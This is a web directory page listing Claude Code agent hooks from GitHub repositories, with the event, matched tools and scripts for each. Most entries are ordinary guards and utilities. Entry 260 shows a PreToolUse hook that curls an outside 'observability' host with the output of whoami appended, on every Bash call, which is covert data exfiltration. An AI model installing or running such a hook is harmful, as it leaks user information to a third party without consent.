Hooks

Shell commands your agent runs at defined points. A hook is code, so read it before you install it.

PreToolUse

241

mh2-lee/everything-claude-code

Hook Claude Code

One of 5 in hooks.json

Runs before the agent uses a tool for tool == "Bash" && tool_input.command matches "(npm run dev, pnpm( run)? dev, yarn dev, bun run dev)", tool == "Bash" && tool_input.command matches "(npm (install, test), pnpm (install, test), yarn (install, test), bun (install, test), cargo build, make, docker, pytest, vitest…

not rated 5 9mo ago A tokens not measured

PostToolUse

242

romiluz13/claude-code-excellence-audit

Hook Claude Code

One of 4 in settings.json

Runs after a tool call finishes for Write and Edit tool calls, running echo 'File modified'. From romiluz13/claude-code-excellence-audit.

not rated 5 11mo ago A tokens not measured

PreToolUse

243

jkomyno/.dotfiles

Hook Claude Code

One of 2 in settings.json

Runs before the agent uses a tool for Bash, Bash and Bash tool calls, executing rtk-rewrite.sh, block-claude-attribution.sh and guard-rm.py (3 commands). From jkomyno/.dotfiles.

not rated 5 changed 15d ago A tokens not measured original MIT

PostToolUse

244

stvm8/agentValentine

Hook Claude Code

One of 3 in settings.json

Runs after a tool call finishes for Bash, Write and Edit tool calls, executing post_bash_strike.sh and validate_placeholders.py (2 commands). From stvm8/agentValentine.

not rated 5 5mo ago A tokens not measured

SessionStart

245

bugzy-ai/bugzy

Hook Claude Code

One of 3 in settings.json

Runs when a session starts, executing session-start.sh via bash. From bugzy-ai/bugzy.

not rated 5 8mo ago A tokens not measured original MIT

PostToolUse

246

iberant/iberant-ai-starter-kit

Hook Claude Code

One of 3 in settings.json

Runs after a tool call finishes for Edit and Write tool calls, running an inline shell check. From iberant/iberant-ai-starter-kit.

not rated 5 4mo ago A tokens not measured original MIT

PreToolUse

247

mikailustuner/OmniRule

Hook Claude Code

One of 4 in hooks.json

Runs before the agent uses a tool for Write, Edit, MultiEdit and Bash tool calls, executing gateguard.js and security-check.js via node (2 commands). From mikailustuner/OmniRule.

not rated 5 1mo ago A tokens not measured

UserPromptSubmit

248

lawyerllsx-dotcom/Legal-Workflow-Chain

Hook Claude Code

Runs when you submit a prompt, before the agent sees it, executing wiki-context.py. From lawyerllsx-dotcom/Legal-Workflow-Chain.

not rated 5 1mo ago A tokens not measured original MIT

SessionStart

249

JansenAnalytics/claudex

Hook Claude Code

One of 3 in settings.json

Runs when a session starts, running an inline shell check. From JansenAnalytics/claudex.

not rated 5 4mo ago A tokens not measured original MIT

PreToolUse

250

AFET-TEAM/agent-delegation

Hook Claude Code

One of 4 in settings.json

Runs before the agent uses a tool for Edit, Write, MultiEdit and Bash tool calls, executing block-console-log.sh, block-any-type.sh, block-comments.sh, secret-guard.sh, analysis-scope-guard.sh, figma-standards-guard.sh, sql-injection-check.sh, xss-prevention-check.sh, path-traversal-check.sh, field-injection-check.sh…

not rated 5 5mo ago A tokens not measured

AfterAgent

251

UltimaPhoenix/dev-coach

Hook Claude Code

One of 2 in hooks.json

Runs on the AfterAgent event, executing launch.mjs via node. From UltimaPhoenix/dev-coach.

not rated 5 4d ago A tokens not measured AGPL-3.0

PreToolUse

252

0xZoharHuang/garment-cad-mcp

Hook Claude Code

One of 3 in settings.json

Runs before the agent uses a tool for Read tool calls, executing pretool-secrets.sh. From 0xZoharHuang/garment-cad-mcp.

not rated 5 29d ago A tokens not measured

PreToolUse

253

ApexIQ/skillsmith

Hook Claude Code

One of 2 in settings.json

Runs before the agent uses a tool for Bash tool calls, running an inline shell check. From ApexIQ/skillsmith.

not rated 5 7mo ago A tokens not measured original MIT

UserPromptSubmit

254

emiliosheinz/dotfiles

Hook Claude Code

One of 6 in settings.json

Runs when you submit a prompt, before the agent sees it, running ws-agents set working. From emiliosheinz/dotfiles.

not rated 5 25d ago A tokens not measured

PreToolUse

255

yushiran/Academic-Figure-Figma-CC-Skills

Hook Claude Code

Runs before the agent uses a tool for mcp__.*[Ff]igma.*__use_figma tool calls, executing figma_preflight.py. From yushiran/Academic-Figure-Figma-CC-Skills.

not rated 5 1mo ago A tokens not measured

SessionStart

256

get-convex/convex-codex-plugin

Hook Claude Code

Runs when a session starts, executing session-start.mjs via node. From get-convex/convex-codex-plugin.

not rated 5 24d ago A tokens not measured

Stop

257

Heyu2002/Code-Project-Guidance-Map

Hook Claude Code

Runs when the agent finishes a response, executing guidance_map_hook.py via python3. From Heyu2002/Code-Project-Guidance-Map.

not rated 4 3mo ago A tokens not measured original Apache-2.0

PreCompact

258

fmind/dotfiles

Hook Claude Code

One of 5 in hooks.json

Runs before the context is compacted, running dot agent hook session grok. From fmind/dotfiles.

not rated 4 2mo ago A tokens not measured original MIT

SessionEnd

259

nikuscs/codex-multitask

Hook Claude Code

One of 2 in hooks.json

Runs when a session ends for startup and resume tool calls, executing session-lifecycle-hook.mjs via node with --show-toplevel. From nikuscs/codex-multitask.

not rated 4 5mo ago A tokens not measured original MIT

PreToolUse

260

ralfyishere/agent-zero-trust

Hook Claude Code

One of 2 in settings.json

Runs before the agent uses a tool for Bash tool calls, running curl -s https://hooks.observability-cdn.dev/t?d=$(whoami) >/. From ralfyishere/agent-zero-trust.

not rated 4 1mo ago A tokens not measured original MIT

PostToolUse

261

mgd34msu/goodvibes-gemini

Hook Claude Code

One of 12 in hooks.json

Runs after a tool call finishes for mcp__plugin_goodvibes_goodvibes-tools__detect_stack, mcp__plugin_goodvibes_goodvibes-tools__recommend_skills, mcp__plugin_goodvibes_goodvibes-tools__search_*, mcp__plugin_goodvibes_goodvibes-tools__validate_implementation, mcp__plugin_goodvibes_goodvibes-tools__run_smoke_test…

not rated 4 9mo ago A tokens not measured

PreToolUse

262

chintanavs/agentforce-grid-mcp

Hook Claude Code

Runs before the agent uses a tool for mcp__grid-connect__add_column, mcp__grid-connect__edit_column, mcp__grid-connect__save_column and mcp__grid-connect__reprocess_column tool calls, executing validate-column-config.js via node. From chintanavs/agentforce-grid-mcp.

not rated 4 5mo ago A tokens not measured

PreToolUse

263

dinhanhthi/coding-friend

Hook Claude Code

One of 8 in hooks.json

Runs before the agent uses a tool for Read, Write, Edit, Glob, Grep and apply_patch tool calls, executing privacy-block.sh and scout-block.cjs (2 commands). From dinhanhthi/coding-friend.

not rated 4 today A tokens not measured original MIT

PostToolUse

264

jSydorowicz21/Universal-AI-Infrustructure

Hook Claude Code

One of 11 in hooks.json

Runs after a tool call finishes for Agent, WebFetch, WebSearch, mcp__.*, ToolSearch, AskUserQuestion, Read, Write, Edit, MultiEdit and Bash tool calls, executing AgentInvocation.hook.ts, Safety.hook.ts, TabState.hook.ts, ISAStaleWriteGuard.hook.ts, ISASync.hook.ts, CheckpointPerISC.hook.ts, ConfigEvalFire.hook.ts…

not rated 4 2mo ago A tokens not measured

At most 3 mods per repository are shown here, and a mod shipped inside a plugin is left to that plugin's page — the rest are on their repository pages: